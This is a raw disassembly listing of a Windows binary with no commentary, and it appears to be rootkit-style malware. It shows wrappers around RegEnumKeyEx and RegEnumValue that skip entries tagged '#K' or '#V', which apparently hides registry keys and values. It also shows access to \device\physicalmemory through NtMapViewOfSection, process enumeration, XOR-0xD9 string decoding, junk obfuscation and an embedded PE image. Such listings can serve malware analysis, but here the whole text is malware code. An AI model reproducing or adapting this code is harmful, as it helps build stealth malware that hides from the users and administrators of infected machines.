loc_43CBB5: ; CODE XREF: .data:0043CB73j ; .data:0043CBADj pop ebp retn 10h ; --------------------------------------------------------------------------- db 3 dup(0FFh) dword_43CBBC dd 5200FFFFh, 6E456765h, 654B6D75h, 57784579h ; DATA XREF: .data:0043CEF8o db 0 ; --------------------------------------------------------------------------- loc_43CBCD: ; DATA XREF: .data:0043CF00o push ebp mov ebp, esp loc_43CBD0: ; CODE XREF: .data:0043CC4Bj mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+20h] test eax, eax jz short loc_43CBDE push dword ptr [eax] loc_43CBDE: ; CODE XREF: .data:0043CBDAj push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CDFDh test eax, eax jnz short loc_43CC4D pusha mov eax, [ebp+10h] mov ebx, eax loc_43CC05: ; CODE XREF: .data:0043CC0Dj cmp word ptr [ebx], 0 jz short loc_43CC0F inc ebx inc ebx jmp short loc_43CC05 ; --------------------------------------------------------------------------- loc_43CC0F: ; CODE XREF: .data:0043CC09j mov dword ptr [ebx], 4B0023h add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50D934h pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43CC39 popa jmp short loc_43CC4D ; --------------------------------------------------------------------------- loc_43CC39: ; CODE XREF: .data:0043CC34j popa inc dword ptr [ebp+0Ch] mov eax, [ebp+20h] test eax, eax jz short loc_43CC46 pop dword ptr [eax] loc_43CC46: ; CODE XREF: .data:0043CC42j mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43CBD0 ; --------------------------------------------------------------------------- loc_43CC4D: ; CODE XREF: .data:0043CBFDj ; .data:0043CC37j add esp, 4 cmp dword ptr [ebp+20h], 0 jz short loc_43CC59 add esp, 4 loc_43CC59: ; CODE XREF: .data:0043CC54j pop ebp retn 20h ; --------------------------------------------------------------------------- db 3 dup(0FFh) dd 5200FFFFh, 6E456765h, 654B6D75h, 41784579h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43CC74: ; CODE XREF: .data:0043CCE9j mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+20h] test eax, eax jz short loc_43CC82 push dword ptr [eax] loc_43CC82: ; CODE XREF: .data:0043CC7Ej push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CEA1h test eax, eax jnz short loc_43CCEB pusha mov eax, [ebp+10h] mov ebx, eax loc_43CCA9: ; CODE XREF: .data:0043CCAFj cmp byte ptr [ebx], 0 jz short loc_43CCB1 inc ebx jmp short loc_43CCA9 ; --------------------------------------------------------------------------- loc_43CCB1: ; CODE XREF: .data:0043CCACj mov word ptr [ebx], 4B23h inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FD8D2h pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43CCD7 popa jmp short loc_43CCEB ; --------------------------------------------------------------------------- loc_43CCD7: ; CODE XREF: .data:0043CCD2j popa inc dword ptr [ebp+0Ch] mov eax, [ebp+20h] test eax, eax jz short loc_43CCE4 pop dword ptr [eax] loc_43CCE4: ; CODE XREF: .data:0043CCE0j mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43CC74 ; --------------------------------------------------------------------------- loc_43CCEB: ; CODE XREF: .data:0043CCA1j ; .data:0043CCD5j add esp, 4 cmp dword ptr [ebp+20h], 0 jz short loc_43CCF7 add esp, 4 loc_43CCF7: ; CODE XREF: .data:0043CCF2j pop ebp retn 20h ; --------------------------------------------------------------------------- db 0FFh dword_43CCFC dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h ; DATA XREF: .data:0043CF18o db 65h, 57h, 0 ; --------------------------------------------------------------------------- loc_43CD0F: ; DATA XREF: .data:0043CF20o push ebp mov ebp, esp loc_43CD12: ; CODE XREF: .data:0043CD8Dj mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+24h] test eax, eax jz short loc_43CD20 push dword ptr [eax] loc_43CD20: ; CODE XREF: .data:0043CD1Cj push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CF3Fh test eax, eax jnz short loc_43CD8F pusha mov eax, [ebp+10h] mov ebx, eax loc_43CD47: ; CODE XREF: .data:0043CD4Fj cmp word ptr [ebx], 0 jz short loc_43CD51 inc ebx inc ebx jmp short loc_43CD47 ; --------------------------------------------------------------------------- loc_43CD51: ; CODE XREF: .data:0043CD4Bj mov dword ptr [ebx], 560023h add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50DA76h pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43CD7B popa jmp short loc_43CD8F ; --------------------------------------------------------------------------- loc_43CD7B: ; CODE XREF: .data:0043CD76j popa inc dword ptr [ebp+0Ch] mov eax, [ebp+24h] test eax, eax jz short loc_43CD88 pop dword ptr [eax] loc_43CD88: ; CODE XREF: .data:0043CD84j mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43CD12 ; --------------------------------------------------------------------------- loc_43CD8F: ; CODE XREF: .data:0043CD3Fj ; .data:0043CD79j add esp, 4 cmp dword ptr [ebp+24h], 0 jz short loc_43CD9B add esp, 4 loc_43CD9B: ; CODE XREF: .data:0043CD96j pop ebp retn 20h ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h db 65h, 41h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43CDB6: ; CODE XREF: .data:0043CE2Bj mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+24h] test eax, eax jz short loc_43CDC4 push dword ptr [eax] loc_43CDC4: ; CODE XREF: .data:0043CDC0j push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CFE3h test eax, eax jnz short loc_43CE2D pusha mov eax, [ebp+10h] mov ebx, eax loc_43CDEB: ; CODE XREF: .data:0043CDF1j cmp byte ptr [ebx], 0 jz short loc_43CDF3 inc ebx jmp short loc_43CDEB ; --------------------------------------------------------------------------- loc_43CDF3: ; CODE XREF: .data:0043CDEEj mov word ptr [ebx], 5623h inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FDA14h pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43CE19 popa jmp short loc_43CE2D ; --------------------------------------------------------------------------- loc_43CE19: ; CODE XREF: .data:0043CE14j popa inc dword ptr [ebp+0Ch] mov eax, [ebp+24h] test eax, eax jz short loc_43CE26 pop dword ptr [eax] loc_43CE26: ; CODE XREF: .data:0043CE22j mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43CDB6 ; --------------------------------------------------------------------------- loc_43CE2D: ; CODE XREF: .data:0043CDE3j ; .data:0043CE17j add esp, 4 cmp dword ptr [ebp+24h], 0 jz short loc_43CE39 add esp, 4 loc_43CE39: ; CODE XREF: .data:0043CE34j pop ebp retn 20h ; --------------------------------------------------------------------------- db 3 dup(0FFh) db 2 dup(0FFh), 0 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_402B9B+3FEo ; .data:off_43CE9Co aNtdll_dll db 'ntdll.dll',0 ; DATA XREF: sub_4022C3+16o ; .data:0043CEACo ... aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: .data:0043CEFCo ; .data:0043CF1Co aIphlpapi_dll db 'iphlpapi.dll',0 aInetmib1_dll db 'inetmib1.dll',0 aWsock32_dll db 'wsock32.dll',0 aUser32_dll db 'user32.dll',0 off_43CE98 dd offset aProcess32next ; DATA XREF: sub_402B9B+C4r ; sub_402B9B+10Fr ... ; "Process32Next" off_43CE9C dd offset aKernel32_dll ; DATA XREF: sub_402B9B+A0r ; "kernel32.dll" off_43CEA0 dd offset word_43CA3A ; DATA XREF: sub_402976+203r byte_43CEA4 db 0 ; DATA XREF: sub_402B9B+66r ; sub_402B9B+83r align 4 dd offset dword_43C95C+4 dd offset aNtdll_dll ; "ntdll.dll" dd offset loc_43C979 dd 1, 43C8D9h, 43CE43h, 43C8E7h, 1, 43C858h, 43CE43h, 43C866h dd 2, 43CB51h, 43CE5Ah, 43CB5Dh, 1, 43CAE9h, 43CE5Ah, 43CAF5h dd 0 dd offset dword_43CBBC+3 dd offset aAdvapi32_dll ; "advapi32.dll" dd offset loc_43CBCD dd 1, 43CC63h, 43CE5Ah, 43CC71h, 0 dd offset dword_43CCFC+5 dd offset aAdvapi32_dll ; "advapi32.dll" dd offset loc_43CD0F dd 1, 43CDA5h, 43CE5Ah, 43CDB3h, 5 dup(0) dword_43CF48 dd 1 ; DATA XREF: sub_402353+16Dr dd 0Eh dword_43CF50 dd 0 ; DATA XREF: .text:0040223Er ; .text:loc_402257r ... aRtlinitunicode db 'RtlInitUnicodeString',0 ; DATA XREF: sub_4022C3+27o db '~',0 aNtunmapviewofs db 'NtUnmapViewOfSection',0 ; DATA XREF: sub_4022C3+41o db 0 aNtopensection db 'NtOpenSection',0 ; DATA XREF: sub_4022C3+56o aRgjf_0 db ' rGjf ',0 aNtmapviewofsec db 'NtMapViewOfSection',0 ; DATA XREF: sub_4022C3+66o a9eub db '9eU/',0 aRtlntstatustod db 'RtlNtStatusToDosError',0 ; DATA XREF: sub_4022C3+76o aCurrent_user db 'CURRENT_USER',0 ; DATA XREF: sub_402353+D6o align 4 aDevicePhysical: ; DATA XREF: sub_402353+25o unicode 0, <\device\physicalmemory>,0 byte_43D002 db 0 ; DATA XREF: sub_4022C3+Bo a_v db '_V',0 ; DATA XREF: sub_402353+6Do a3@f1qZ db '3@f1Q|Z',0 ; DATA XREF: sub_402353+1C0o aP0r db 'p0R#',0 ; DATA XREF: sub_402528+20o align 4 dword_43D014 dd 6 ; DATA XREF: sub_402B9B+1C4r ; sub_402B9B+5B0r dd 0Fh dword_43D01C dd 0 ; DATA XREF: .text:004025CAr ; .text:loc_4025EAr ... aWcscmp db 'wcscmp',0 ; DATA XREF: .data:off_43D0C8o aEkkT db ' ekk$T',0 aHtons db 'htons',0 db '=l |',0 aVirtualprotect db 'VirtualProtect',0 a2po db '2PO*',0 aGetcurrentproc db 'GetCurrentProcessId',0 aFindwindowa db 'FindWindowA',0 aSendmessagea db 'SendMessageA',0 aJsM0 db 'js M0',0 aIsbadreadptr db 'IsBadReadPtr',0 aN3rb db 'n3r ',0 aGlobalfindatom db 'GlobalFindAtomA',0 aThSz db 'Th<SZ',0 aGlobalfindat_0 db 'GlobalFindAtomW',0 a2nA@h db ',2N a@h',0 align 4 byte_43D0C4 db 3 ; DATA XREF: sub_402651+A5r align 4 off_43D0C8 dd offset aWcscmp ; DATA XREF: sub_402651+12Dr ; sub_402651+18Fr ; "wcscmp" off_43D0CC dd offset aNtdll_dll ; DATA XREF: sub_402651+11Ar ; "ntdll.dll" dd 5, 43D02Eh, 43CE81h, 7, 43D039h, 43CE43h, 8, 43D04Dh dd 43CE43h, 9, 43D061h, 43CE8Dh, 0Ah, 43D06Dh, 43CE8Dh dd 0Bh, 43D080h, 43CE43h, 0Ch, 43D093h, 43CE43h, 0Dh, 43D0A9h dd 43CE43h byte_43D130 db 76h, 83h, 0 ; DATA XREF: sub_402651+8Ao aJt16gz db 'jT1 6GZ',0 ; DATA XREF: sub_402651+19Co dword_43D13B dd 4C7F83h ; DATA XREF: sub_402976:loc_4029B0r aJ8 db ' j8 ',0 ; DATA XREF: sub_402976+9Eo a2g db '2G',0 ; DATA XREF: sub_402976+D5o word_43D147 dw 63h ; DATA XREF: sub_402976+EEr byte_43D149 db 53h, 40h, 0 ; DATA XREF: sub_402976+16Ao word_43D14C dw 37h ; DATA XREF: sub_402976+1AAr word_43D14E dw 2067h ; DATA XREF: sub_402B9B+16o db 0 aI4Ti db 'i^4$~TI',0 ; DATA XREF: sub_402B9B+19Co aVdeND db 'VDe>N;d',0 ; DATA XREF: sub_402B9B+1BCo aLd db 'lD',0 ; DATA XREF: sub_402B9B+31Bo a0htgzcn db '0htGZCn',0 ; DATA XREF: sub_402B9B+35Ao aT_0 db '^t',0 ; DATA XREF: sub_402B9B+477o aB7_evf db '7.Ef',0 ; DATA XREF: sub_402B9B+5E4o word_43D176 dw 0 ; DATA XREF: sub_402B9B+7C5o dd 8, 0Ah dword_43D180 dd 0Ah ; DATA XREF: sub_4033E1+16r ; sub_4033E1:loc_403410r ... byte_43D184 db 0 ; DATA XREF: sub_403489+43o word_43D185 dw 65h ; DATA XREF: sub_403530+10r aGbT db 'gb;|t^',0 ; DATA XREF: sub_403530+53o aF db 'f',27h,0 ; DATA XREF: sub_4035A5+16o word_43D191 dw 79h ; DATA XREF: sub_4035A5+23r align 4 dd 3 dword_43D198 dd 0Fh ; DATA XREF: sub_4036F8+32r dword_43D19C dd 0 ; DATA XREF: sub_40366F+Er ; sub_40366F:loc_40369Dr ... aAcz?lh db 'ACZ?lH$',0 ; DATA XREF: sub_4036F8+14o aIT db '$i',27h,'T',0 ; DATA XREF: sub_4036F8+62o word_43D1AD dw 4Fh ; DATA XREF: sub_4037FA+8r aBZ db 'b ~z: ',0 ; DATA XREF: sub_4037FA+15o align 4 dd 6, 0Fh dword_43D1C0 dd 0 ; DATA XREF: sub_403845+Er ; sub_403845:loc_403873r ... aAtdG db 'AtD> G#',0 ; DATA XREF: sub_4038DA+16o word_43D1CC dw 80h ; DATA XREF: sub_4038DA+3Br aYr1 db 'yR1 ',0 ; DATA XREF: .text:0040397Do aB db ' ~$',0 ; DATA XREF: .text:00403990o dword_43D1D8 dd 203C6Bh ; DATA XREF: .text:00403A44r dd 7, 11h dword_43D1E4 dd 0E5h ; DATA XREF: sub_403A55+Dr ; sub_403A55:loc_403A7Br ... dword_43D1E8 dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 ; DATA XREF: sub_403D2D+2A5o dd 40h, 8 dup(0) dd 80h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 4550h, 7014Ch, 427CB50Ah, 2 dup(0) dd 210E00E0h, 3702010Bh, 800h, 0C00h, 1000h, 1190h, 1000h dd 2000h, 10000000h, 1000h, 200h, 1, 0 dd 4, 0 dd 8000h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 7000h, 48h, 5000h, 37Ch, 6 dup(0) dd 6000h, 0DCh, 3000h, 54h, 12h dup(0) a_text db '.text',0 align 4 db '',7,0 align 4 dd 1000h, 7BCh, 400h, 3 dup(0) dd 60000020h, 7373622Eh, 0 dd 0FE0h, 2000h, 5 dup(0) dd 0C0000080h, 6164722Eh, 6174h, 54h, 3000h, 54h, 0C00h dd 3 dup(0) dd 40000020h, 7461642Eh, 61h, 0C4h, 4000h, 0C4h, 0E00h dd 3 dup(0) dd 0C0000040h, 6164692Eh, 6174h, 37Ch, 5000h, 37Ch, 1000h dd 3 dup(0) dd 0C0000060h, 6C65722Eh, 636Fh, 0E4h, 6000h, 0E4h, 1600h dd 3 dup(0) dd 2000020h, 6164652Eh, 6174h, 48h, 7000h, 48h, 1800h dd 3 dup(0) dd 40000020h, 5Ch dup(0) dd 8B40C031h, 0F704244Ch, 60441h, 0F740000h, 824448Bh dd 1024548Bh, 3B80289h, 0C3000000h ; =============== S U B R O U T I N E ======================================= sub_43D608 proc near ; CODE XREF: .data:0043D730p ; .data:0043D75Ep var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push 10001000h push large dword ptr fs:0 mov large fs:0, esp loc_43D625: ; CODE XREF: sub_43D608+44j ; sub_43D608+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_43D654 cmp esi, [esp+1Ch+arg_4] jz short loc_43D654 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_43D625 call dword ptr [ebx+esi*4+8] jmp short loc_43D625 ; --------------------------------------------------------------------------- loc_43D654: ; CODE XREF: sub_43D608+2Aj ; sub_43D608+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_43D608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D662 proc near ; CODE XREF: .data:0043D723p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push 10001092h push [ebp+arg_0] call sub_43DCFC pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43D662 endp ; --------------------------------------------------------------------------- db 0FCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+0Ch] mov eax, [ebp+8] test dword ptr [eax+4], 6 jnz loc_43D757 mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_43D6B5: ; CODE XREF: .data:0043D74Ej cmp esi, 0FFFFFFFFh jz loc_43D766 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_43D745 push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov ds:10004034h, eax mov edx, [ebp-14h] mov eax, [edx] mov ds:10004038h, eax mov eax, [edx+4] mov ds:1000403Ch, eax push esi push edi push ecx mov ecx, 14h lea edi, ds:10004040h mov esi, ds:10004038h rep movsd lea edi, ds:10004040h mov ds:10004038h, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] or eax, eax jz short loc_43D745 js short loc_43D753 mov edi, [ebx+8] push ebx call sub_43D662 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_43D608 add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_43D745: ; CODE XREF: .data:0043D6C6j ; .data:0043D71Bj mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_43D6B5 ; --------------------------------------------------------------------------- loc_43D753: ; CODE XREF: .data:0043D71Dj xor eax, eax jmp short loc_43D770 ; --------------------------------------------------------------------------- loc_43D757: ; CODE XREF: .data:0043D69Aj push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_43D608 add esp, 0Ch loc_43D766: ; CODE XREF: .data:0043D6B8j push 0Bh call sub_43DD68 add esp, 4 loc_43D770: ; CODE XREF: .data:0043D755j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi cmp dword ptr [ebp+0Ch], 1 jnz short loc_43D789 call sub_43D7AC loc_43D789: ; CODE XREF: .data:0043D782j call sub_43DC5B push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] mov eax, ds:10004000h call eax pop edi pop esi pop ebx leave retn 0Ch ; --------------------------------------------------------------------------- db 0B8h, 1, 0 dd 0F2EB0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D7AC proc near ; CODE XREF: .data:0043D784p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push edi push 0 push 0FFFFFFF6h call sub_43DD20 mov [ebp+var_8], eax push 0 push 0FFFFFFF5h call sub_43DD20 mov [ebp+var_4], eax push 0 push 0FFFFFFF4h call sub_43DD20 mov [ebp+var_C], eax push 1000401Eh push [ebp+var_8] call sub_43DD14 mov ds:10004008h, eax push 1000401Ch push [ebp+var_4] call sub_43DD14 mov ds:10004004h, eax push 1000401Ch push [ebp+var_C] call sub_43DD14 add esp, 30h mov ds:1000400Ch, eax mov edi, ds:10004004h or edi, edi jz short loc_43D825 push 0 push edi call sub_43DD74 add esp, 8 loc_43D825: ; CODE XREF: sub_43D7AC+6Cj mov edi, ds:1000400Ch or edi, edi jz short loc_43D83F push 0 push edi call sub_43DD74 add esp, 8 call sub_43D844 loc_43D83F: ; CODE XREF: sub_43D7AC+81j pop edi leave retn sub_43D7AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D844 proc near ; CODE XREF: sub_43D7AC+8Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_C], 0 call sub_43DC90 mov ebx, eax mov [ebp+var_10], ebx jmp short loc_43D881 ; --------------------------------------------------------------------------- loc_43D860: ; CODE XREF: sub_43D844+45j cmp byte ptr ds:0[ebx], 3Dh jz short loc_43D86D inc [ebp+var_C] loc_43D86D: ; CODE XREF: sub_43D844+24j mov edi, ebx xor eax, eax stc sbb ecx, ecx repne scasb neg ecx lea eax, [ecx-2] mov edi, eax inc edi lea ebx, [ebx+edi] loc_43D881: ; CODE XREF: sub_43D844+1Aj cmp byte ptr ds:0[ebx], 0 jnz short loc_43D860 mov edi, [ebp+var_C] inc edi lea edi, ds:0[edi*4] mov [ebp+var_14], edi push [ebp+var_14] call sub_43DD44 pop ecx mov [ebp+var_8], eax mov ds:10004010h, eax cmp [ebp+var_8], 0 jnz short loc_43D8B4 xor eax, eax jmp short loc_43D92A ; --------------------------------------------------------------------------- loc_43D8B4: ; CODE XREF: sub_43D844+6Aj mov ebx, [ebp+var_10] jmp short loc_43D90D ; --------------------------------------------------------------------------- loc_43D8B9: ; CODE XREF: sub_43D844+D1j mov edi, ebx xor eax, eax stc sbb ecx, ecx repne scasb neg ecx lea eax, [ecx-2] mov edi, eax inc edi mov [ebp+var_4], edi cmp byte ptr ds:0[ebx], 3Dh jz short loc_43D907 push [ebp+var_4] call sub_43DD44 pop ecx mov esi, [ebp+var_8] mov ds:0[esi], eax or eax, eax jnz short loc_43D8F0 jmp short loc_43D92A ; --------------------------------------------------------------------------- loc_43D8F0: ; CODE XREF: sub_43D844+A8j push ebx mov edi, [ebp+var_8] push dword ptr ds:0[edi] call sub_43DD98 add esp, 8 add [ebp+var_8], 4 loc_43D907: ; CODE XREF: sub_43D844+91j mov edx, [ebp+var_4] lea ebx, [ebx+edx] loc_43D90D: ; CODE XREF: sub_43D844+73j cmp byte ptr ds:0[ebx], 0 jnz short loc_43D8B9 mov edx, [ebp+var_8] mov dword ptr ds:0[edx], 0 mov eax, 1 loc_43D92A: ; CODE XREF: sub_43D844+6Ej ; sub_43D844+AAj pop edi pop esi pop ebx leave retn sub_43D844 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D930 proc near ; CODE XREF: sub_43D9DA+22p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 181h push esi push [ebp+arg_0] mov eax, ds:10004098h lea eax, ds:10002000h[eax] push eax call sub_43DD50 add esp, 0Ch xor edi, edi jmp short loc_43D979 ; --------------------------------------------------------------------------- loc_43D95F: ; CODE XREF: sub_43D930+4Bj mov eax, ds:10004098h add eax, edi lea eax, ds:10002000h[eax] movsx edx, byte ptr [eax] xor edx, 0D9h mov [eax], dl inc edi loc_43D979: ; CODE XREF: sub_43D930+2Dj cmp edi, esi jl short loc_43D95F mov [ebp+var_8], 389h mov eax, ds:10004098h add eax, esi mov byte ptr ds:10002000h[eax], 0 xor edi, edi mov edi, ds:10004098h add dword ptr ds:10004098h, 3 mov eax, ds:10004098h lea eax, [eax+esi+4] mov ds:10004098h, eax inc dword ptr ds:10004098h cmp dword ptr ds:10004098h, 0DB6h jle short loc_43D9C9 and dword ptr ds:10004098h, 0 loc_43D9C9: ; CODE XREF: sub_43D930+90j mov [ebp+var_C], 9Ch lea eax, [edi+10002000h] pop edi pop esi leave retn sub_43D930 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D9DA proc near ; CODE XREF: .data:0043DB73p var_E = word ptr -0Eh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push esi push edi lea edi, [ebp+var_5] lea esi, ds:1000409Ch xor ecx, ecx inc ecx rep movsb call sub_43DCCC push 5 push 100040BDh call sub_43D930 add esp, 8 push eax push 0 push 1F0001h call sub_43DCF0 mov [ebp+var_4], eax or eax, eax jz short loc_43DA35 mov [ebp+var_C], 4FA1h inc [ebp+var_C] push eax call sub_43DCA8 mov [ebp+var_E], 6C6Dh inc [ebp+var_E] xor eax, eax inc eax loc_43DA35: ; CODE XREF: sub_43D9DA+3Cj pop edi pop esi leave retn sub_43D9DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DA39 proc near ; CODE XREF: .data:0043DBA7p var_10A = byte ptr -10Ah var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi mov edi, [ebp+arg_0] call sub_43DC84 call sub_43DCB4 mov ecx, edi or eax, 0FFFFFFFFh loc_43DA57: ; CODE XREF: sub_43DA39+23j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43DA57 mov ebx, eax mov [ebp+var_6], bx mov ax, [ebp+var_6] mov [ebp+var_2], ax jmp short loc_43DA8C ; --------------------------------------------------------------------------- loc_43DA6E: ; CODE XREF: sub_43DA39+59j movzx eax, [ebp+var_2] cmp byte ptr [edi+eax], 5Ch jnz short loc_43DA88 call sub_43DC78 inc [ebp+var_2] call sub_43DCCC jmp short loc_43DA94 ; --------------------------------------------------------------------------- loc_43DA88: ; CODE XREF: sub_43DA39+3Dj dec [ebp+var_2] loc_43DA8C: ; CODE XREF: sub_43DA39+33j movzx eax, [ebp+var_2] or eax, eax jg short loc_43DA6E loc_43DA94: ; CODE XREF: sub_43DA39+4Dj mov ax, [ebp+var_2] cmp ax, [ebp+var_6] jnb short loc_43DAD2 mov [ebp+var_4], 0 jmp short loc_43DAC0 ; --------------------------------------------------------------------------- loc_43DAA6: ; CODE XREF: sub_43DA39+97j movzx eax, [ebp+var_4] movzx edx, [ebp+var_2] mov ecx, eax add ecx, edx mov dl, [edi+ecx] mov [ebp+eax+var_10A], dl inc [ebp+var_4] loc_43DAC0: ; CODE XREF: sub_43DA39+6Bj movzx eax, [ebp+var_4] movzx edx, [ebp+var_6] movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jle short loc_43DAA6 loc_43DAD2: ; CODE XREF: sub_43DA39+63j mov esi, 6BBCh add esi, 7D41h lea eax, [ebp+var_10A] push eax call sub_43DCE4 call sub_43DCD8 pop edi pop esi pop ebx leave retn sub_43DA39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DAF3 proc near ; CODE XREF: .data:0043DBFAp var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push eax push esi push edi call sub_43DC84 push 100040BBh push [ebp+arg_0] call sub_43DD8C add esp, 8 lea edi, [ebp+var_8] lea esi, ds:1000409Dh movsd movsd pop edi pop esi leave retn sub_43DAF3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 21Ch push esi push edi mov ax, ds:100040A5h mov [ebp-217h], ax mov eax, ds:10004094h add eax, 698h push eax call sub_43DD80 mov byte ptr [ebp-100h], 84h sub byte ptr [ebp-100h], 68h mov eax, ds:10004090h mov edx, eax add edx, 5 push edx mov edx, 0Fh sub edx, ds:10004094h push edx mov edx, 4 sub edx, eax push edx call sub_43D9DA add esp, 10h or eax, eax jz short loc_43DB87 xor eax, eax inc eax jmp loc_43DC30 ; --------------------------------------------------------------------------- loc_43DB87: ; CODE XREF: .data:0043DB7Dj push 104h lea eax, [ebp-205h] push eax push dword ptr [ebp+8] call sub_43DC9C call sub_43DC84 lea eax, [ebp-205h] push eax call sub_43DA39 mov byte ptr [ebp-101h], 1Bh add byte ptr [ebp-101h], 1 lea edi, [ebp-215h] lea esi, ds:100040A7h mov ecx, 4 rep movsd push 0FFh lea eax, [ebp-0FFh] push eax call sub_43DCC0 mov eax, ds:100040B7h mov [ebp-21Bh], eax call sub_43DC84 call sub_43DC78 lea eax, [ebp-0FFh] push eax call sub_43DAF3 call sub_43DCCC lea eax, [ebp-215h] push eax lea eax, [ebp-0FFh] push eax call sub_43DD8C add esp, 10h push 1 lea eax, [ebp-0FFh] push eax call sub_43DD08 